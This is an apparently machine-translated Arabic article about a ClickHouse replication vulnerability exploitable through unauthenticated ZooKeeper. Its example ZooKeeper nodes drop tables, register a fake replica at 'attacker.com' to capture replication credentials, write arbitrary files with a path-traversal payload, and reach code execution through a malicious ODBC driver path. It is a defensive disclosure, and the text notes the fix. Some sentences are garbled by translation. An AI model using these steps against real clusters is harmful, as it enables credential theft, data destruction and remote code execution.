لماذا تحتاج إلى إبقاء أقفاص حديقة الحيوان مغلقة؟

لماذا تحتاج إلى إبقاء أقفاص حديقة الحيوان مغلقة؟

ستحكي هذه المقالة قصة ثغرة أمنية محددة جدًا في بروتوكول النسخ المتماثل ClickHouse، وستوضح أيضًا كيف يمكن توسيع سطح الهجوم.

ClickHouse هي قاعدة بيانات لتخزين كميات كبيرة من البيانات، وغالبًا ما تستخدم أكثر من نسخة متماثلة. تم إنشاء التجميع والنسخ المتماثل في ClickHouse في الأعلى اباتشي ZooKeeper (ZK) وتتطلب حقوق الكتابة.

لا يتطلب تثبيت ZK الافتراضي المصادقة، لذا فإن الآلاف من خوادم ZK المستخدمة لتكوين Kafka وHadoop وClickHouse متاحة للجمهور.

لتقليل مساحة الهجوم لديك، يجب عليك دائمًا تكوين المصادقة والترخيص عند تثبيت ZooKeeper

هناك بالطبع بعض عمليات إلغاء تسلسل Java المستندة إلى 0day، لكن تخيل أن المهاجم يمكنه القراءة والكتابة إلى ZooKeeper، المستخدم للنسخ المتماثل لـ ClickHouse.

عند تكوينه في وضع المجموعة، يدعم ClickHouse الاستعلامات الموزعة DDL، مروراً عبر ZK - يتم إنشاء العقد في الورقة لهم /clickhouse/task_queue/ddl.

على سبيل المثال، يمكنك إنشاء عقدة /clickhouse/task_queue/ddl/query-0001 مع المحتوى:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

وبعد ذلك سيتم حذف جدول الاختبار على خوادم المجموعة host1 وhost2. يدعم DDL أيضًا تشغيل استعلامات CREATE/ALTER/DROP.

يبدو مخيفا؟ ولكن أين يمكن للمهاجم الحصول على عناوين الخادم؟

النسخ المتماثل ClickHouse يعمل على مستوى الجداول الفردية، بحيث عند إنشاء جدول في ZK، يتم تحديد الخادم الذي سيكون مسؤولاً عن تبادل البيانات الوصفية مع النسخ المتماثلة. على سبيل المثال، عند تنفيذ طلب (يجب تكوين ZK، chXX - اسم النسخة المتماثلة، فوبار - اسم الطاولة):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

سيتم إنشاء العقد الأعمدة и البيانات الوصفية.

محتوى /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

هل من الممكن دمج البيانات من هذه المجموعة؟ نعم، إذا كان منفذ النسخ المتماثل (TCP/9009) على الخادم chXX-address لن يتم إغلاق جدار الحماية ولن يتم تكوين مصادقة النسخ المتماثل. كيفية تجاوز المصادقة؟

يمكن للمهاجم إنشاء نسخة متماثلة جديدة في ZK بمجرد نسخ المحتويات من /clickhouse/tables/01-01/foobar/replicas/chXX وتغيير المعنى host.

محتوى /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ثم تحتاج إلى إخبار النسخ المتماثلة الأخرى بوجود كتلة جديدة من البيانات على خادم المهاجم والتي يتعين عليهم أخذها - يتم إنشاء عقدة في ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX عداد متزايد بشكل رتيب، والذي يجب أن يكون أكبر من آخر عداد في سجل الأحداث):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

حيث source_replica - اسم النسخة المتماثلة للمهاجم التي تم إنشاؤها في الخطوة السابقة، block_id - معرف كتلة البيانات، دولار فقط واحصل على خصم XNUMX% على جميع - أمر "الحصول على الكتلة" (و هنا أوامر لعمليات أخرى).

بعد ذلك، تقرأ كل نسخة متماثلة حدثًا جديدًا في السجل وتنتقل إلى خادم يتحكم فيه المهاجم لتلقي كتلة من البيانات (بروتوكول النسخ المتماثل ثنائي، يعمل أعلى HTTP). الخادم attacker.com سوف تتلقى الطلبات:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

حيث XXX هي بيانات المصادقة للنسخ المتماثل. في بعض الحالات، قد يكون هذا حسابًا يتمتع بإمكانية الوصول إلى قاعدة البيانات عبر بروتوكول ClickHouse الرئيسي وبروتوكول HTTP. كما رأيت، يصبح سطح الهجوم كبيرًا جدًا نظرًا لترك ZooKeeper، المستخدم للنسخ المتماثل، دون تكوين المصادقة.

دعونا نلقي نظرة على وظيفة الحصول على كتلة من البيانات من النسخة المتماثلة، فهي مكتوبة بثقة تامة بأن جميع النسخ المتماثلة تخضع للسيطرة المناسبة وأن هناك ثقة بينها.

لماذا تحتاج إلى إبقاء أقفاص حديقة الحيوان مغلقة؟
كود معالجة النسخ

تقرأ الوظيفة قائمة بالملفات، ثم أسمائها وأحجامها ومحتوياتها، ثم تكتبها في نظام الملفات. يجدر وصف كيفية تخزين البيانات في نظام الملفات بشكل منفصل.

هناك العديد من الدلائل الفرعية في /var/lib/clickhouse (دليل التخزين الافتراضي من ملف التكوين):

الأعلام - دليل للتسجيل الأعلام، يستخدم في الاسترداد بعد فقدان البيانات؛
TMP — دليل لتخزين الملفات المؤقتة.
ملفات المستخدم - تقتصر العمليات مع الملفات في الطلبات على هذا الدليل (INTO OUTFILE وغيرها)؛
البيانات الوصفية - ملفات SQL مع أوصاف الجدول؛
preprocessed_configs - معالجة ملفات التكوين المشتقة من /etc/clickhouse-server;
البيانات - الدليل الفعلي الذي يحتوي على البيانات نفسها، وفي هذه الحالة لكل قاعدة بيانات يتم إنشاء دليل فرعي منفصل هنا (على سبيل المثال /var/lib/clickhouse/data/default).

لكل جدول، يتم إنشاء دليل فرعي في دليل قاعدة البيانات. كل عمود هو ملف منفصل اعتمادا على تنسيق المحرك. على سبيل المثال لجدول فوبارتم إنشاؤها بواسطة مهاجم، سيتم إنشاء الملفات التالية:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

تتوقع النسخة المتماثلة تلقي ملفات بنفس الأسماء عند معالجة كتلة من البيانات ولا تتحقق من صحتها بأي شكل من الأشكال.

ربما يكون القارئ اليقظ قد سمع بالفعل عن التسلسل غير الآمن لـ file_name في إحدى الوظائف WriteBufferFromFile. نعم، يسمح هذا للمهاجم بكتابة محتوى عشوائي لأي ملف على FS مع حقوق المستخدم clickhouse. للقيام بذلك، يجب على النسخة المتماثلة التي يتحكم فيها المهاجم أن تعيد الاستجابة التالية للطلب (تمت إضافة فواصل الأسطر لتسهيل الفهم):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

وبعد الوصل ../../../../../../../../../tmp/pwned سيتم كتابة الملف /تمب/pwned مع المحتوى hellofromzookeeper.

هناك عدة خيارات لتحويل إمكانية كتابة الملفات إلى تنفيذ التعليمات البرمجية عن بعد (RCE).

القواميس الخارجية في RCE

في الإصدارات الأقدم، تم تخزين الدليل الذي يحتوي على إعدادات ClickHouse مع حقوق المستخدم بيت النقر تقصير. ملفات الإعدادات هي ملفات XML تقرأها الخدمة عند بدء التشغيل ثم تقوم بتخزينها مؤقتًا /var/lib/clickhouse/preprocessed_configs. عند حدوث تغييرات، يتم إعادة قراءتها. إذا كان لديك حق الوصول إلى /etc/clickhouse-server يمكن للمهاجم إنشاء بلده القاموس الخارجي نوع قابل للتنفيذ ثم قم بتنفيذ تعليمات برمجية عشوائية. لا توفر الإصدارات الحالية من ClickHouse الحقوق بشكل افتراضي، ولكن إذا تم تحديث الخادم تدريجيًا، فقد تظل هذه الحقوق قائمة. إذا كنت تدعم مجموعة ClickHouse، فتحقق من حقوق دليل الإعدادات، فيجب أن ينتمي إلى المستخدم root.

ODBC إلى RCE

عند تثبيت الحزمة، يتم إنشاء مستخدم clickhouse، ولكن لم يتم إنشاء الدليل الرئيسي الخاص به /nonexistent. ومع ذلك، عند استخدام قواميس خارجية، أو لأسباب أخرى، يقوم المسؤولون بإنشاء دليل /nonexistent وإعطاء المستخدم clickhouse الوصول للكتابة عليه (SSZB! تقريبا. مترجم).

يدعم ClickHouse ODBC ويمكن الاتصال بقواعد البيانات الأخرى. في ODBC، يمكنك تحديد المسار إلى مكتبة برنامج تشغيل قاعدة البيانات (.so). سمحت لك الإصدارات الأقدم من ClickHouse بالقيام بذلك مباشرة في معالج الطلب، ولكن تمت الآن إضافة فحص أكثر صرامة لسلسلة الاتصال إلى odbc-bridgeلذلك لم يعد من الممكن تحديد مسار برنامج التشغيل من الطلب. ولكن هل يمكن للمهاجم الكتابة إلى الدليل الرئيسي باستخدام الثغرة الأمنية الموضحة أعلاه؟

لنقم بإنشاء ملف ~/.odbc.ini بمحتوى مثل هذا:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

ثم عند بدء التشغيل SELECT * FROM odbc('DSN=lalala', 'test', 'test'); سيتم تحميل المكتبة test.so وحصلت على RCE (شكرًا com.buglloc للطرف).

تم إصلاح هذه الثغرات الأمنية وغيرها في الإصدار 19.14.3 من ClickHouse. اعتني بـ ClickHouse و ZooKeepers الخاص بك!

المصدر: www.habr.com

إضافة تعليق